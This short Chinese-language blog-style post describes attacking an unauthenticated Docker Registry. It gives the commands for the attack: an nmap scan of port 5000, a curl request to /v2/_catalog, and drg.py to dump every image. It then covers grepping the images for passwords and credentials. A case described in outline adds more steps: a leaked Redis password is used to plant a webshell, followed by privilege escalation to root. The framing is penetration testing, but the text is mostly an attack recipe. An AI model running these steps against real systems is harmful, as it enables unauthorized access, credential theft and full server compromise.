在俺的日常工作中,发现了一处有意思的漏洞,所以在此做一个记录。但是我不想泄露公司秘密,不想吃牢饭,所以只能以比较抽象的方式来记录过程了,望各位见谅。
自动操作手法
nmap就能很好的发现,但是俺是通过ffuf到的。
1.nmap扫描端口 Docker Registry (API: 2.0
2.尝试访问http://<ip>:<port>/v2/_catalog,如果你没有被401拒绝,那么恭喜他,他中招了。
3.使用drg.py获取所有镜像文件,端口默认为5000
4.查看这些镜像文件,就像从Linux或者Windows上拔取敏感文件一样。
###1.nmap扫描端口 Docker Registry (API: 2.0)
nmap -sV -p5000 <ip>###2.尝试访问http://<ip>:<port>/v2/_catalog,如果你没有被401拒绝,那么恭喜他,他中招了。
curl http://<ip>:<port>/v2/_catalog'''
{"repositories":["xxxxxx"]}
'''###3.使用drg.py获取所有镜像文件,端口默认为5000
python drg.py http://<ip> --dump_all ###4.查看这些镜像文件,就像从Linux或者Windows上拔取敏感文件一样。
https://blog.csdn.net/weixin_44368093/article/details/144172766
实际案例
俺呢就写写大概过程,可能比较抽象。
1.发现5000端口存在该漏洞
2.使用drg.py快速爬取所有的镜像内容
3.俺解压了所有的镜像内容
4.然后使用grep快速爬取 pass cred 等敏感字样的内容。
5.发现了redis数据库密码
6.使用redis数据库密码成功写入文件
7.使用Webshell控制服务器
8.发现服务器存在低版本Openssl 7.3,可用于提权
9.成功获取root权限
手动操作手法
我知道有的兄弟不满足于自动化,喜欢手动,所以俺给你们引用原文。
https://hackerone.com/reports/347296
https://github.com/harsh-bothra/learn365/blob/main/days/day33.md